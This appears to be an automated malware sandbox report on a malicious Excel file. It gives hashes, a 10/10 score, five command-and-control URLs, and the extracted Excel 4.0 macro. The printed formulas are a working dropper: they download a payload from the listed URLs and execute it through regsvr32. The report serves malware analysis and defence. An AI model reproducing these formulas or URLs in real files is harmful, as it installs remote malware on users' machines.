280fc40f0482ee37329c5219e72a528e4ed7e15f1b605006f6cc9a3c0b1b8d8b

General

Target

280fc40f0482ee37329c5219e72a528e4ed7e15f1b605006f6cc9a3c0b1b8d8b
Size

95KB
Sample

241120-gcfcmsshjm
MD5

127a9d2254439504df0628a46c506547
SHA1

e7b0b808f700fc27c7d22eff22455a941a41f512
SHA256

280fc40f0482ee37329c5219e72a528e4ed7e15f1b605006f6cc9a3c0b1b8d8b
SHA512

6fd45f977f37f4e201043e3662002d970642132628b3bf0d057d5ed866bf90ced25810c7d78e0d1d6d3be4a5e302d050f27858c58b61b56c285ed8c0a88149c6
SSDEEP

1536:G6ghqXvo8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVh9:G9iv38DsVhonV69o2bchgGaWBcpAk9

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

https://makspeedtech.com/cgi-bin/6BuOTbA/

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

https://mbahauddin.com/v/2horjuyP/

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/","..\wnu3.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://makspeedtech.com/cgi-bin/6BuOTbA/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mbahauddin.com/v/2horjuyP/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wnu3.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

xlm40.dropper

https://makspeedtech.com/cgi-bin/6BuOTbA/

xlm40.dropper

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

xlm40.dropper

https://mbahauddin.com/v/2horjuyP/

xlm40.dropper

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/